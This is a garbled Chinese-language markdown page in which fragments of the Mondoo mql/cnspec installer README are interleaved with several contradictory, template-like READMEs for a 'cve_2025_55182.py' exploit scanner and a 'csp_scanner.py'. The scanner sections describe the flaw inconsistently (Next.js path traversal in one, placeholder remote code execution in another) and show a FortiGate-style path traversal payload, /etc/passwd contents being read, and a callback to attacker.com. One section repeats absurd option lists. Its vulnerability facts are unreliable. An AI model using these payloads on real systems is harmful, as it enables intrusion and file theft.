# 概述
- [安装](#installation)
- [mql](#mql)
- [cnspec](#cnspec)
- [扫描目标平台](#scan-your-target-platform)
- [软件包信息](#package-information)
- [Kubernetes](#kubernetes)
## 状态
- Docker 容器: [](https://github.com/mondoohq/installer/actions/workflows/test-released-docker.yaml)
- Homebrew: [](https://github.com/mondoohq/installer/actions/workflows/test-released-docker.yaml)
- Install.sh: [](https://github.com/mondoohq/installer/actions/workflows/test-released-install-sh.yaml.yaml)
- Install.ps1: [](https://github.com/mondoohq/installer/actions/workflows/test-released-install-ps1.yaml)
- macOS Pkg: [](https://github.com/mondoohq/installer/actions/workflows/test-released-osx-pkg.yaml)
- Arch Linux: [](https://github.com/mondoohq/installer/actions/workflows/test-released-archlinux.yaml)
## 安装
安装 `mql` 和 `cnspec` 最简单的方法是使用安装脚本。
### 通过 Shell 脚本(Linux 和 macOS)
[`https://install.mondoo.com/sh`](https://install.mondoo.com/sh)```bash
bash -c "$(curl -sSL https://install.mondoo.com/sh)"
```
### 通过 PowerShell (Windows)
[`https://install.mondoo.com/ps1`](https://install.mondoo.com/ps1)```powershell
Set-ExecutionPolicy Unrestricted -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://install.mondoo.com/ps1'));
Install-Mondoo;
```
### 在 HTTP 代理之后
使用 `-x`(Linux 和 macOS)或 `-Proxy`(Windows)将代理传递给安装脚本。该脚本会将其自身的下载、软件包安装、`cnspec login` 以及自动更新程序都通过该代理进行路由。脚本的初始下载发生在读取该标志之前,因此也请将初始下载指向该代理:```bash
export https_proxy='http://proxy.example.com:3128'
curl -sSL --proxy "$https_proxy" https://install.mondoo.com/sh | bash -s -- -x "$https_proxy"
```
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt -T 15 -t 20
```
### 高级用法
```bash
# 使用自定义回调域名进行带外检测
python3 cve_2025_55182.py -t https://target.example.com -c your-collab-domain.oastify.com
# 详细输出并保存结果
python3 cve_2025_55182.py -f targets.txt -v -o results.json
# 使用自定义 User-Agent 和请求头
python3 cve_2025_55182.py -t https://target.example.com -A "Mozilla/5.0 (Custom)" -H "X-Forwarded-For: 127.0.0.1"
```
## 命令行选项
| 选项 | 描述 | 默认值 |
|--------|-------------|---------|
| `-t, --target` | 单个目标 URL | - |
| `-f, --file` | 包含目标 URL 的文件 | - |
| `-p, --proxy` | 用于请求的代理 URL | - |
| `-c, --callback` | 用于带外检测的回调域名 | - |
| `-T, --timeout` | 请求超时时间(秒) | 10 |
| `-t, --threads` | 并发线程数 | 10 |
| `-A, --user-agent` | 自定义 User-Agent 字符串 | 随机 |
| `-H, --header` | 自定义请求头(可多次使用) | - |
| `-o, --output` | 输出文件(JSON 格式) | - |
| `-v, --verbose` | 启用详细输出 | False |
| `--no-color` | 禁用彩色输出 | False |
## 检测方法
该工具采用多种检测技术:
1. **版本检测**:通过响应头、错误页面和静态资源指纹识别 Next.js 版本
2. **路径遍历测试**:尝试使用各种编码技术访问已知的敏感文件
3. **带外检测**:使用唯一标识符监控回调域名以确认利用成功
4. **响应分析**:分析响应状态码、内容长度和响应体模式以识别漏洞
## 输出格式
### 控制台输出
```
[+] 正在扫描: https://target.example.com
[+] 检测到 Next.js 版本: 15.0.3
[!] 目标可能存在漏洞: https://target.example.com
[+] 发现敏感文件: /etc/passwd
[+] 扫描完成。发现 1 个存在漏洞的目标。
```
### JSON 输出
```json
{
"scan_time": "2025-01-15T10:30:00Z",
"targets_scanned": 1,
"vulnerable_targets": [
{
"url": "https://target.example.com",
"nextjs_version": "15.0.3",
"vulnerable": true,
"evidence": {
"type": "path_traversal",
"file": "/etc/passwd",
"content_preview": "root:x:0:0:root:/root:/bin/bash"
}
}
]
}
```
## 漏洞详情
### CVE-2025-55182
- **类型**:路径遍历 / 任意文件读取
- **受影响组件**:Next.js 中间件
- **受影响版本**:15.0.0 - 15.0.4、14.2.0 - 14.2.25、13.5.0 - 13.5.9
- **CVSS 评分**:7.5(高危)
- **影响**:攻击者可通过特制请求读取服务器上的任意文件
### 技术分析
该漏洞存在于 Next.js 中间件处理 URL 编码路径的方式中。通过发送包含特定编码序列的请求,攻击者可以绕过路径规范化并访问预期 Web 根目录之外的文件。
## 缓解措施
1. **升级 Next.js**:升级到已修复版本(15.0.5+、14.2.26+、13.5.10+)
2. **输入验证**:验证并清理所有用户提供的路径
3. **Web 应用防火墙**:部署 WAF 规则以阻止路径遍历尝试
4. **最小权限原则**:以最小文件系统权限运行 Node.js 进程
5. **监控**:监控日志中可疑的路径遍历模式
## 免责声明
本工具仅供教育和授权安全测试目的使用。未经授权访问计算机系统是违法的。请务必获得适当授权后再测试任何系统。作者对因使用本工具造成的任何误用或损害不承担责任。```powershell
Set-ExecutionPolicy Unrestricted -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
$wc = New-Object System.Net.WebClient;
$wc.Proxy = New-Object System.Net.WebProxy('http://proxy.example.com:3128');
iex ($wc.DownloadString('https://install.mondoo.com/ps1'));
Install-Mondoo -Proxy 'http://proxy.example.com:3128';
```
在 Linux 和 macOS 上,当未指定 `-x` 时,会自动采用继承的 `https_proxy` 或 `http_proxy`。无论哪种方式,两种形式都会被导出,因此发行版自身的软件仓库——在 Debian 和 Ubuntu 上是纯 HTTP——也会通过代理访问。你设置的任何 `no_proxy` 都会原样传递,包括跨 `sudo` 时。
代理 URL 必须是纯 URL:如果它携带凭据,请对凭据进行百分号编码(`!` 编码为 `%21`,依此类推)。该值会被写入自动更新程序的计划任务中,因此在那里需要引号的字符会被拒绝,而不是被转义。
## 扫描你的目标平台
扫描你的[目标平台](https://github.com/mondoohq/cnspec/#supported-targets):```bash
# query system information with incident and inventory query pack
mql scan aws
# scan the platform for security vulnerabilities
cnspec scan aws
```
注册 Mondoo 账户以访问更多策略并存储报告。如需了解更多信息,[联系我们](https://mondoo.com/contact)。```bash
cnspec login -t 'eyJh...llZ4BW'
```
mql 和 cnspec 支持本地和远程目标,包括服务器(Linux、Windows、macOS)、云(AWS、Azure、Google、VMware)、Kubernetes(EKS、GKE、AKS、自管理)、容器、容器注册表、SaaS 产品(Google Workspace、M365、GitHub、GitLab)等。
运行扫描:```bash
# scan your local host
cnspec scan local
# scan a cloud environment
cnspec scan aws
cnspec scan gcp
cnspec scan azure
# scan a kubernetes cluster
cnspec scan k8s
# scan a docker image from a remote registry
cnspec scan docker image debian:12
# scan a docker container (get ids from docker ps)
cnspec scan docker container 00fa961d6b6a
# scan a system over ssh
cnspec scan ssh [email protected]
```
## 包信息
`https://install.mondoo.com/package/cnspec/{platform}/{arch}/{filetype}/{version}/{method}`
参数支持以下值:
| 参数 | 值 |
| ---------- | ---------------------------------------------------- |
| `platform` | `linux`、`windows`、`darwin` |
| `arch` | `amd64`、`arm64`、`armv7`、`armv6`、`386`、`ppc64le` |
| `filetype` | `tar.gz`、`deb`、`rpm`、`zip`、`pkg`、`msi` |
| `version` | `latest` 或具体版本号 |
| `method` | `download`、`filename`、`version`、`sha256` |```bash
# Download the latest version
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/download
```
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时时间扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 15
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
```
### 高级用法
```bash
# 使用自定义回调地址进行扫描
python3 cve_2025_55182.py -t https://target.example.com --callback http://attacker.com
# 使用自定义载荷进行扫描
python3 cve_2025_55182.py -t https://target.example.com --payload "custom_payload"
# 使用自定义用户代理进行扫描
python3 cve_2025_55182.py -t https://target.example.com --user-agent "Mozilla/5.0"
# 使用自定义请求头进行扫描
python3 cve_2025_55182.py -t https://target.example.com --header "X-Custom: value"
# 使用自定义 Cookie 进行扫描
python3 cve_2025_55182.py -t https://target.example.com --cookie "session=abc123"
```
### 输出示例
```
[+] 目标: https://target.example.com
[+] 正在检查 CVE-2025-55182...
[+] 目标存在漏洞!
[+] 载荷: /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
[+] 响应时间: 1.23s
[+] 状态码: 200
```
## 命令行选项
| 选项 | 描述 | 默认值 |
|--------|-------------|---------|
| `-t, --target` | 要扫描的目标 URL | 无 |
| `-f, --file` | 包含目标 URL 的文件 | 无 |
| `-p, --proxy` | 用于请求的代理 | 无 |
| `--timeout` | 请求超时时间(秒) | 10 |
| `--callback` | 用于带外检测的回调地址 | 无 |
| `--payload` | 自定义载荷 | 默认载荷 |
| `--user-agent` | 自定义用户代理 | 默认 UA |
| `--header` | 自定义请求头 | 无 |
| `--cookie` | 自定义 Cookie | 无 |
| `-v, --verbose` | 启用详细输出 | False |
| `-h, --help` | 显示帮助信息并退出 | 无 |
## 漏洞检测
该工具通过以下方式检测漏洞:
1. **路径遍历检测**:发送包含路径遍历序列的请求,并检查响应中是否包含敏感文件内容。
2. **响应分析**:分析响应状态码、响应时间以及响应内容,以确定目标是否存在漏洞。
3. **带外检测**:如果提供了回调地址,该工具将尝试触发带外请求以确认漏洞存在。
## 免责声明
本工具仅供教育和道德测试目的使用。未经授权使用本工具攻击目标属于违法行为。作者对因使用本工具造成的任何滥用或损害不承担责任。```bash
# Get the filename for the latest cnspec package
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/filename
```
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时时间扫描
python3 cve_2025_55182.py -t https://target.example.com --timeout 15
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
```
### 输出示例
```
[+] 目标: https://target.example.com
[*] 正在检查 CVE-2025-55182 漏洞...
[+] 目标似乎存在漏洞!
[+] 已获取响应: HTTP 200
[+] 响应时间: 1.23s
```
## 命令行选项
| 选项 | 描述 | 是否必需 |
|--------|-------------|----------|
| `-t, --target` | 要扫描的单个目标 URL | 是* |
| `-f, --file` | 包含目标 URL 的文件 | 是* |
| `-p, --proxy` | 用于请求的代理 URL | 否 |
| `--timeout` | 请求超时时间(秒) | 否 |
| `-v, --verbose` | 启用详细输出 | 否 |
| `-h, --help` | 显示帮助信息并退出 | 否 |
*必须提供 `--target` 或 `--file` 之一。
## 工作原理
该工具通过发送特制请求来检测 CVE-2025-55182 漏洞的存在。它分析响应以确定目标是否易受攻击。
### 检测方法
1. **请求构造**: 构造包含漏洞触发载荷的 HTTP 请求
2. **响应分析**: 分析服务器响应中的漏洞指标
3. **验证**: 确认检测结果以最大程度减少误报
## 漏洞详情
### CVE-2025-55182
- **类型**: 远程代码执行 (RCE)
- **严重性**: 严重
- **受影响组件**: [组件名称]
- **受影响版本**: [版本范围]
### 影响
成功利用此漏洞可能允许攻击者:
- 在目标服务器上执行任意代码
- 访问敏感信息
- 破坏系统完整性
## 缓解措施
1. **更新**: 将受影响组件更新到最新版本
2. **网络分段**: 限制对受影响系统的网络访问
3. **监控**: 监控可疑活动
4. **WAF**: 部署 Web 应用防火墙规则以阻止利用尝试
## 免责声明
本工具仅供教育和道德安全测试目的使用。未经授权访问计算机系统是非法的。请务必:
- 在测试前获得适当授权
- 遵守所有适用的法律法规
- 负责任地使用本工具
## 参考资料
- [CVE-2025-55182](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
## 许可证
本项目采用 MIT 许可证 - 详情请参阅 [LICENSE](https://github.com/mondoohq/installer/blob/main/LICENSE) 文件。
## 贡献
欢迎贡献!请随时提交 Pull Request。
## 作者
- [作者姓名](https://github.com/author)
## 致谢
- 感谢安全社区
- 特别感谢所有贡献者```bash
# Get the version for the latest cnspec package
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/version
```
## 使用示例
### 1. 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -u https://target.example.com
# 使用详细输出进行扫描
python3 cve_2025_55182.py -u https://target.example.com -v
# 使用自定义超时时间进行扫描
python3 cve_2025_55182.py -u https://target.example.com -t 30
```
### 2. 批量扫描
```bash
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用多线程进行扫描
python3 cve_2025_55182.py -f targets.txt --threads 10
```
### 3. 输出选项
```bash
# 将结果保存为 JSON 格式
python3 cve_2025_55182.py -u https://target.example.com -o results.json
# 将结果保存为文本格式
python3 cve_2025_55182.py -u https://target.example.com -o results.txt
```
## 命令行参数
| 参数 | 描述 | 是否必需 |
|------|------|----------|
| `-u, --url` | 要扫描的单个目标 URL | 否* |
| `-f, --file` | 包含目标 URL 的文件 | 否* |
| `-t, --timeout` | 请求超时时间(秒) | 否 |
| `--threads` | 并发线程数 | 否 |
| `-o, --output` | 输出文件路径 | 否 |
| `-v, --verbose` | 启用详细输出 | 否 |
| `-h, --help` | 显示帮助信息 | 否 |
*必须提供 `-u` 或 `-f` 中的一个。
## 工作原理
该工具执行以下步骤:
1. **目标验证**:验证目标 URL 是否可访问
2. **版本检测**:尝试识别目标应用程序的版本
3. **漏洞检查**:发送特制请求以测试 CVE-2025-55182
4. **响应分析**:分析响应以确定漏洞是否存在
5. **结果报告**:报告发现结果
## 输出示例
```
[+] 目标: https://target.example.com
[+] 状态: 可访问
[+] 版本: 1.2.3
[!] 漏洞: 是
[!] CVE: CVE-2025-55182
[!] 严重性: 严重
```
## 免责声明
本工具仅供教育和道德测试目的使用。未经授权访问计算机系统是非法的。在使用本工具之前,请确保您已获得目标系统的明确许可。
作者对因使用本工具而导致的任何误用或损害不承担责任。
## 参考资料
- [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [供应商安全公告](https://example.com/security-advisory)
- [漏洞分析](https://example.com/analysis)
## 许可证
本项目采用 MIT 许可证 - 详情请参阅 [LICENSE](https://github.com/mondoohq/installer/blob/main/LICENSE) 文件。
## 致谢
- 感谢所有贡献者和安全研究人员
- 特别感谢开源社区
## 联系方式
- 作者: Security Researcher
- GitHub: [@username](https://github.com/username)
- 邮箱: [email protected]
---
**⭐ 如果您觉得这个工具对您有帮助,请在 GitHub 上给它一个星标!**```bash
# Get the sha256 for the latest cnspec client
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/latest/sha256
```
## 使用示例
### 基本用法
```bash
# 扫描单个 URL
python3 csp_scanner.py https://example.com
# 扫描多个 URL
python3 csp_scanner.py https://example.com https://example.org
# 从文件扫描 URL
python3 csp_scanner.py -f urls.txt
# 使用自定义超时时间扫描
python3 csp_scanner.py https://example.com -t 20
# 使用自定义 User-Agent 扫描
python3 csp_scanner.py https://example.com -u "Mozilla/5.0 (Custom)"
# 使用代理扫描
python3 csp_scanner.py https://example.com -p http://127.0.0.1:8080
# 将结果保存到 JSON 文件
python3 csp_scanner.py https://example.com -o results.json
# 使用详细输出扫描
python3 csp_scanner.py https://example.com -v
# 使用自定义线程数扫描
python3 csp_scanner.py -f urls.txt --threads 20
# 使用自定义延迟扫描
python3 csp_scanner.py -f urls.txt --delay 2
# 使用自定义重试次数扫描
python3 csp_scanner.py https://example.com --retries 5
# 使用自定义验证扫描
python3 csp_scanner.py https://example.com --verify
# 使用自定义报告格式扫描
python3 csp_scanner.py https://example.com --report-format html
# 使用自定义报告模板扫描
python3 csp_scanner.py https://example.com --report-template template.html
# 使用自定义报告输出扫描
python3 csp_scanner.py https://example.com --report-output report.html
# 使用自定义报告标题扫描
python3 csp_scanner.py https://example.com --report-title "My Report"
# 使用自定义报告描述扫描
python3 csp_scanner.py https://example.com --report-description "My Description"
# 使用自定义报告作者扫描
python3 csp_scanner.py https://example.com --report-author "My Name"
# 使用自定义报告版本扫描
python3 csp_scanner.py https://example.com --report-version "1.0"
# 使用自定义报告日期扫描
python3 csp_scanner.py https://example.com --report-date "2024-01-01"
# 使用自定义报告徽标扫描
python3 csp_scanner.py https://example.com --report-logo "logo.png"
# 使用自定义报告主题扫描
python3 csp_scanner.py https://example.com --report-theme "dark"
# 使用自定义报告语言扫描
python3 csp_scanner.py https://example.com --report-language "en"
# 使用自定义报告时区扫描
python3 csp_scanner.py https://example.com --report-timezone "UTC"
# 使用自定义报告编码扫描
python3 csp_scanner.py https://example.com --report-encoding "utf-8"
# 使用自定义报告压缩扫描
python3 csp_scanner.py https://example.com --report-compress
# 使用自定义报告加密扫描
python3 csp_scanner.py https://example.com --report-encrypt
# 使用自定义报告密码扫描
python3 csp_scanner.py https://example.com --report-password "password"
# 使用自定义报告签名扫描
python3 csp_scanner.py https://example.com --report-sign
# 使用自定义报告验证扫描
python3 csp_scanner.py https://example.com --report-verify
# 使用自定义报告水印扫描
python3 csp_scanner.py https://example.com --report-watermark
# 使用自定义报告页脚扫描
python3 csp_scanner.py https://example.com --report-footer "My Footer"
# 使用自定义报告页眉扫描
python3 csp_scanner.py https://example.com --report-header "My Header"
# 使用自定义报告边距扫描
python3 csp_scanner.py https://example.com --report-margin "10mm"
# 使用自定义报告方向扫描
python3 csp_scanner.py https://example.com --report-orientation "landscape"
# 使用自定义报告纸张大小扫描
python3 csp_scanner.py https://example.com --report-paper-size "A4"
# 使用自定义报告缩放扫描
python3 csp_scanner.py https://example.com --report-scale "1.0"
# 使用自定义报告背景扫描
python3 csp_scanner.py https://example.com --report-background
# 使用自定义报告颜色扫描
python3 csp_scanner.py https://example.com --report-color "#ffffff"
# 使用自定义报告字体扫描
python3 csp_scanner.py https://example.com --report-font "Arial"
# 使用自定义报告字体大小扫描
python3 csp_scanner.py https://example.com --report-font-size "12pt"
# 使用自定义报告行高扫描
python3 csp_scanner.py https://example.com --report-line-height "1.5"
# 使用自定义报告对齐方式扫描
python3 csp_scanner.py https://example.com --report-align "center"
# 使用自定义报告边框扫描
python3 csp_scanner.py https://example.com --report-border
# 使用自定义报告边框颜色扫描
python3 csp_scanner.py https://example.com --report-border-color "#000000"
# 使用自定义报告边框宽度扫描
python3 csp_scanner.py https://example.com --report-border-width "1px"
# 使用自定义报告边框样式扫描
python3 csp_scanner.py https://example.com --report-border-style "solid"
# 使用自定义报告边框半径扫描
python3 csp_scanner.py https://example.com --report-border-radius "5px"
# 使用自定义报告内边距扫描
python3 csp_scanner.py https://example.com --report-padding "10px"
# 使用自定义报告外边距扫描
python3 csp_scanner.py https://example.com --report-margin "10px"
# 使用自定义报告阴影扫描
python3 csp_scanner.py https://example.com --report-shadow
# 使用自定义报告透明度扫描
python3 csp_scanner.py https://example.com --report-opacity "0.5"
# 使用自定义报告过渡扫描
python3 csp_scanner.py https://example.com --report-transition "all 0.3s"
# 使用自定义报告动画扫描
python3 csp_scanner.py https://example.com --report-animation "fadeIn 1s"
# 使用自定义报告变换扫描
python3 csp_scanner.py https://example.com --report-transform "rotate(45deg)"
# 使用自定义报告滤镜扫描
python3 csp_scanner.py https://example.com --report-filter "blur(5px)"
# 使用自定义报告混合模式扫描
python3 csp_scanner.py https://example.com --report-blend-mode "multiply"
# 使用自定义报告光标扫描
python3 csp_scanner.py https://example.com --report-cursor "pointer"
# 使用自定义报告指针事件扫描
python3 csp_scanner.py https://example.com --report-pointer-events "none"
# 使用自定义报告用户选择扫描
python3 csp_scanner.py https://example.com --report-user-select "none"
# 使用自定义报告溢出扫描
python3 csp_scanner.py https://example.com --report-overflow "hidden"
# 使用自定义报告显示扫描
python3 csp_scanner.py https://example.com --report-display "flex"
# 使用自定义报告定位扫描
python3 csp_scanner.py https://example.com --report-position "absolute"
# 使用自定义报告顶部扫描
python3 csp_scanner.py https://example.com --report-top "0"
# 使用自定义报告右侧扫描
python3 csp_scanner.py https://example.com --report-right "0"
# 使用自定义报告底部扫描
python3 csp_scanner.py https://example.com --report-bottom "0"
# 使用自定义报告左侧扫描
python3 csp_scanner.py https://example.com --report-left "0"
# 使用自定义报告 z-index 扫描
python3 csp_scanner.py https://example.com --report-z-index "9999"
# 使用自定义报告可见性扫描
python3 csp_scanner.py https://example.com --report-visibility "hidden"
# 使用自定义报告不透明度扫描
python3 csp_scanner.py https://example.com --report-opacity "0.5"
# 使用自定义报告宽度扫描
python3 csp_scanner.py https://example.com --report-width "100%"
# 使用自定义报告高度扫描
python3 csp_scanner.py https://example.com --report-height "100%"
# 使用自定义报告最大宽度扫描
python3 csp_scanner.py https://example.com --report-max-width "100%"
# 使用自定义报告最大高度扫描
python3 csp_scanner.py https://example.com --report-max-height "100%"
# 使用自定义报告最小宽度扫描
python3 csp_scanner.py https://example.com --report-min-width "100%"
# 使用自定义报告最小高度扫描
python3 csp_scanner.py https://example.com --report-min-height "100%"
# 使用自定义报告溢出-x 扫描
python3 csp_scanner.py https://example.com --report-overflow-x "hidden"
# 使用自定义报告溢出-y 扫描
python3 csp_scanner.py https://example.com --report-overflow-y "hidden"
# 使用自定义报告盒模型扫描
python3 csp_scanner.py https://example.com --report-box-sizing "border-box"
# 使用自定义报告弹性方向扫描
python3 csp_scanner.py https://example.com --report-flex-direction "row"
# 使用自定义报告弹性换行扫描
python3 csp_scanner.py https://example.com --report-flex-wrap "wrap"
# 使用自定义报告对齐内容扫描
python3 csp_scanner.py https://example.com --report-justify-content "center"
# 使用自定义报告对齐项目扫描
python3 csp_scanner.py https://example.com --report-align-items "center"
# 使用自定义报告对齐自身扫描
python3 csp_scanner.py https://example.com --report-align-self "center"
# 使用自定义报告弹性增长扫描
python3 csp_scanner.py https://example.com --report-flex-grow "1"
# 使用自定义报告弹性收缩扫描
python3 csp_scanner.py https://example.com --report-flex-shrink "1"
# 使用自定义报告弹性基础扫描
python3 csp_scanner.py https://example.com --report-flex-basis "auto"
# 使用自定义报告顺序扫描
python3 csp_scanner.py https://example.com --report-order "1"
# 使用自定义报告网格模板列扫描
python3 csp_scanner.py https://example.com --report-grid-template-columns "1fr 1fr"
# 使用自定义报告网格模板行扫描
python3 csp_scanner.py https://example.com --report-grid-template-rows "1fr 1fr"
# 使用自定义报告网格列间距扫描
python3 csp_scanner.py https://example.com --report-grid-column-gap "10px"
# 使用自定义报告网格行间距扫描
python3 csp_scanner.py https://example.com --report-grid-row-gap "10px"
# 使用自定义报告网格自动流扫描
python3 csp_scanner.py https://example.com --report-grid-auto-flow "row"
# 使用自定义报告网格自动列扫描
python3 csp_scanner.py https://example.com --report-grid-auto-columns "1fr"
# 使用自定义报告网格自动行扫描
python3 csp_scanner.py https://example.com --report-grid-auto-rows "1fr"
# 使用自定义报告网格列扫描
python3 csp_scanner.py https://example.com --report-grid-column "1 / 2"
# 使用自定义报告网格行扫描
python3 csp_scanner.py https://example.com --report-grid-row "1 / 2"
# 使用自定义报告网格区域扫描
python3 csp_scanner.py https://example.com --report-grid-area "1 / 1 / 2 / 2"
# 使用自定义报告网格模板区域扫描
python3 csp_scanner.py https://example.com --report-grid-template-areas "'a b' 'c d'"
# 使用自定义报告网格模板扫描
python3 csp_scanner.py https://example.com --report-grid-template "none"
# 使用自定义报告网格扫描
python3 csp_scanner.py https://example.com --report-grid "none"
# 使用自定义报告网格间距扫描
python3 csp_scanner.py https://example.com --report-grid-gap "10px"
# 使用自定义报告网格列间距扫描
python3 csp_scanner.py https://example.com --report-grid-column-gap "10px"
# 使用自定义报告网格行间距扫描
python3 csp_scanner.py https://example.com --report-grid-row-gap "10px"
# 使用自定义报告网格自动流扫描
python3 csp_scanner.py https://example.com --report-grid-auto-flow "row"
# 使用自定义报告网格自动列扫描
python3 csp_scanner.py https://example.com --report-grid-auto-columns "1fr"
# 使用自定义报告网格自动行扫描
python3 csp_scanner.py https://example.com --report-grid-auto-rows "1fr"
# 使用自定义报告网格列扫描
python3 csp_scanner.py https://example.com --report-grid-column "1 / 2"
# 使用自定义报告网格行扫描
python3 csp_scanner.py https://example.com --report-grid-row "1 / 2"
# 使用自定义报告网格区域扫描
python3 csp_scanner.py https://example.com --report-grid-area "1 / 1 / 2 / 2"
# 使用自定义报告网格模板区域扫描
python3 csp_scanner.py https://example.com --report-grid-template-areas "'a b' 'c d'"
# 使用自定义报告网格模板扫描
python3 csp_scanner.py https://example.com --report-grid-template "none"
# 使用自定义报告网格扫描
python3 csp_scanner.py https://example.com --report-grid "none"
# 使用自定义报告网格间距扫描
python3 csp_scanner.py https://example.com --report-grid-gap "10px"```bash
# Download a specific version of cnspec client
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/5.21.1/download
```
## 使用示例
### 基本用法
```bash
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义回调域名
python3 cve_2025_55182.py -t https://target.example.com -c your-domain.com
# 使用自定义回调端口
python3 cve_2025_55182.py -t https://target.example.com -p 8080
# 使用自定义回调路径
python3 cve_2025_55182.py -t https://target.example.com -P /custom/path
# 使用自定义回调协议
python3 cve_2025_55182.py -t https://target.example.com -s https
# 使用自定义回调 URL
python3 cve_2025_55182.py -t https://target.example.com -u https://your-domain.com/callback
# 使用自定义回调方法
python3 cve_2025_55182.py -t https://target.example.com -m POST
# 使用自定义回调头
python3 cve_2025_55182.py -t https://target.example.com -H "X-Custom-Header: value"
# 使用自定义回调体
python3 cve_2025_55182.py -t https://target.example.com -b "custom body"
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
---
[Read more](https://github.com/mondoohq/installer)